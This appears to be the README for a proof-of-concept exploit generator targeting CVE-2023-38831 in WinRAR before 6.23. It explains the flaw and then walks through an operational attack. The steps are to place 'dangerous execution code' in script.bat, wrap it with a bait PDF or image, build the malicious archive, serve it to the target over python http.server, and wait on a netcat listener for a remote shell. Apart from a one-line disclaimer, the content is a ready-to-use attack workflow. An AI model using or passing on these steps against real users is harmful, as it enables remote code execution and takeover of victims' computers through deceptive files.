
Generates a malicious RAR archive exploiting CVE-2023-38831 in WinRAR to execute arbitrary code when a user opens a benign file, with a Python-based exploit generator and listener setup.
⚠️ For educational and authorized security research purposes only
Very grateful to the original PoC author b1tg and Group-IB Threat Intelligence
RARLabs WinRAR before 6.23 allows attackers to execute arbitrary code when a user attempts to view a benign file within a ZIP archive.

The issue occurs because a ZIP archive may include a benign file (such as an ordinary .JPG file) and also a folder that has the same name as the benign file, and the contents of the folder (which may include executable content) are processed during an attempt to access only the benign file. This was exploited in the wild in April through August 2023.

First, modify the script.bat file with your dangerous execution code
Insert the bait file, is recommended to be an image (.png, jpg) or a document (.pdf)
Run the command to generate exploit file
python cve-2023-38831-exp-gen.py CLASSIFIED_DOCUMENTS.pdf script.bat poc.rar
Send the exploit file to the target machine using python http.server, for example:
python -m http.server
Set Up the Listener on your attacker machine:
nc -nlvp 4444
Download and open exploit file with WinRAR before 6.23 version